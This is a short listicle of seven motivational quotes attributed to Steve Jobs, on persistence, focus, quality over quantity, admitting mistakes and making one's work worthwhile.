7 Steve Jobs Quotes That Will Change Your Life.

7 Steve Jobs Quotes That Will Change Your Life.

1. If you haven’t found it yet, keep looking. Don’t settle. As with all matters of the heart, you’ll know when you find it. And like any great relationship,it just gets better and better as the years roll on.

2. Deciding what not to do is as important as deciding what to do.

3. I think if you do something and it turns out pretty good, then you should
go do something else wonderful, not dwell on it for too long. Just figure out   what’s next.

4. Quality is much better than quantity. One home run is much better than     two doubles.

5. Sometimes when you innovate, you make mistakes. It is best to admit       them quickly, and get on with improving your other innovations.

6. If you want to live your life in a creative way, as an artist, you have to not look back too much. You have to be willing to take whatever you’ve done         and whoever you were and throw them away.

7. We don’t get a chance to do that many things, and every one should be      really excellent. Because this is our life. Life is brief, and then you die, you     know? And we’ve all chosen to do this with our lives. So it better be damn       good. It better be worth it..
